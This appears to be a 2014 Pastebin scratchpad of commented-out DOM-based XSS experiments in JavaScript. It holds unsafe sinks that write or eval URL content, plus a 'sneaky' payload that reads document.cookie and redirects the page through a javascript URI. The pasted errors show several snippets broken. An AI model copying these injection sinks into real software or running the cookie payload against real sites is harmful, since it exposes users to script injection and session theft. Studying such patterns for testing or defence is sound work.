Advertisement
rfmonk

domxss.js

Oct 5th, 2014
356
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. /*
  2.  * This is a JavaScript Scratchpad.
  3.  *
  4.  * Enter some JavaScript, then Right Click or choose from the Execute Menu:(
  5.  * 1. Run to evaluate the selected text (Ctrl+R),
  6.  * 2. Inspect to bring up an Object Inspector on the result (Ctrl+I), or,
  7.  * 3. Display to insert the result in a comment after the selection. (Ctrl+L)
  8.  */
  9.  
  10. /* document.write(document.location.href.substr(
  11.  *   document.location.href.search(
  12.  *       /#welcomemessage/i)+16, document.location.href.length))
  13.  *
  14.  */
  15.  
  16. /*
  17. Exception: The operation is insecure.
  18. @12
  19. */
  20.  
  21. /*function getID(id){
  22.  *   console.log('id: ' + id);
  23.  *}
  24.  
  25. * var url = window.location.href;
  26. * var pos = url.indexOf("id=")+3;
  27. * var len = url.length;
  28. * var id = url.substring(pos, len);
  29. * eval('getId(' + id.toString() + ')');    
  30. *
  31. Exception: The operation is insecure.
  32. @12
  33. */
  34. /*
  35. Exception: missing ) after argument list
  36. @Scratchpad/1:29
  37. */
  38. /*
  39. var sneaky = 'setTimeout("alert(document.cookie);",4000);
  40.     document.location.assign("http://www.gmail.com");';
  41.     document.location =
  42.     `chromehtml:"80%20javascript:document.write(sneaky)"';
  43.  
  44. Exception: unterminated string literal
  45. @Scratchpad/1:39
  46. */
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement